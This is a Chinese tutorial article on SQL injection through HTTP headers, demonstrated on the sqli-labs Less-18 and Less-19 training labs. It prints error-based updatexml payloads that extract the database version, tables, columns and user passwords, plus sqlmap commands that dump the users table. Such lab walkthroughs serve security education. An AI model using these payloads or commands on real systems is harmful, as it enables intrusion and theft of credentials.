图文详解HTTP头中的SQL注入

 更新时间:2021年12月12日 09:16:52   作者:山川绿水  
HTTP头字段是超文本传输协议(HTTP)中请求和响应的部分信息,它们定义了HTTP传输的操作参数,下面这篇文章主要给大家介绍了关于HTTP头中SQL注入的相关资料,需要的朋友可以参考下

HTTP头中的SQL注入

1.HTTP头中的注入介绍

在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。

过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。
例如HTTP头中的User-Agent、Referer、Cookies等。

2.HTTP User-Agent注入

就拿Sqli-Lab-Less18

这里的User-Agent是可控的,因此存在HTTP User-Agent注入

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

Payload内容:

updatexml(xml_document,xpath_string,new_value):

第一个参数:XML文档对象名称。

第二个参数:XPath字符串。

第三个参数:替换查找到的符合条件的数据。

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看数据库

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到数据库security,获取数据表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.获取字段内容

当我们使用下面的语句时,会报错Subquery returns more than 1 ro

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的数据有多行,我们可以使用limit限制其只返回一条数据

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

3.HTTP Referer注入

Sqli-Lab19为例

' or '1'='1

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看数据库

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到数据库security,获取数据表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.获取字段内容

当我们使用下面的语句时,会报错Subquery returns more than 1 row

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的数据有多行,我们可以使用limit限制其只返回一条数据

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

4.sqlmap安全测试

抓取数据包,将抓取的全部内容,放到文本文档中,并且在有可能存在注入点的地方加入星号(*)

1.爆破数据库

python2 sqlmap.py -r 1.txt --dbs

得到数据库信息

2.爆破数据表

python2 sqlmap.py -r 1.txt -D security --tables

得到数据表的信息

3.爆破字段及内容

python2 sqlmap.py -r 1.txt -D security -T users --dump

得到数据内容

PS

1.HTTP User-Agent注入HTTP Referer注入属于放包攻击,我们在放包的过程中,必须使用正确的用户名和密码;

2.如果探测出是HTTP头注入,在使用sqlmap跑的过程中,在末尾加上星号(*),可以提高渗透测试的效率

5.HTTP头部详解

User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)

Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])

Clien-IP:同上,不做过多介绍.

Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.

Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号(这个我本人还没碰到过,不过有真实存在的案例还是写上吧).

总结

到此这篇关于HTTP头中SQL注入的文章就介绍到这了,更多相关HTTP头中SQL注入内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • SQL注入漏洞扫描之sqlmap详解

    SQL注入漏洞扫描之sqlmap详解

    SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入
    2025-01-01
  • 数据库查询排除重复记录的方法

    数据库查询排除重复记录的方法

    这篇文章主要介绍了数据库查询排除重复记录的方法,使用DISTINCT语句实现,需要的朋友可以参考下
    2014-06-06
  • SQL之left join、right join、inner join的区别浅析

    SQL之left join、right join、inner join的区别浅析

    这篇文章主要介绍了SQL之left join、right join、inner join的区别浅析,本文讲解了它们的区别并给出了实例,需要的朋友可以参考下
    2015-02-02
  • SQL中IS NOT NULL与!=NULL的区别

    SQL中IS NOT NULL与!=NULL的区别

    这篇文章主要介绍了SQL中IS NOT NULL与!=NULL的区别,本文详细诉说了它们的区别,以及推荐使用方法,需要的朋友可以参考下
    2015-06-06
  • 你真的知道怎么优化SQL吗

    你真的知道怎么优化SQL吗

    这篇文章主要给大家介绍了关于优化SQL的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用SQL具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-06-06
  • SQL SERVER 里的错误处理(try catch)

    SQL SERVER 里的错误处理(try catch)

    SQL SERVER里,也有TRY CATCH。格式如下
    2009-02-02
  • 安装navicat最新详细流程

    安装navicat最新详细流程

    Navicat是一款独立的数据库管理工具,支持多种数据库管理系统,包括MySQL、MariaDB、Oracle、PostgreSQL、SQLite等,下面这篇文章主要给大家介绍了关于安装navicat最新详细流程,需要的朋友可以参考下
    2023-06-06
  • 本地SQL注射攻略分析曝光

    本地SQL注射攻略分析曝光

    以后会陆续给大家讲一些本人的入侵经验,一天学一点,这东西虽然我玩腻了,但是还是很想给大家入门时的一些帮助。本地SQL注射,可能很多朋友都没有听说过,下面biweilun为大家讲解下概念及其应用
    2008-07-07
  • 高性能分析数据库StarRocks的安装与使用详解

    高性能分析数据库StarRocks的安装与使用详解

    在大数据时代,选择一个高性能的分析数据库对业务的成功至关重要,StarRocks作为一款次世代MPP数据库,以其卓越的实时分析和多维分析能力而闻名,下面小编就来和大家聊聊它的具体安装与使用吧
    2025-03-03
  • 面向云服务的GaussDB全密态数据库现状及问题小结

    面向云服务的GaussDB全密态数据库现状及问题小结

    全密态数据库,顾名思义与大家所理解的流数据库、图数据库一样,就是专门处理密文数据的数据库系统,这篇文章主要介绍了面向云服务的GaussDB全密态数据库,未来GaussDB会将该能力逐步开源到openGauss,与社区共同推进和完善全密态数据库解决方案,一起打造数据库安全生态
    2024-02-02

最新评论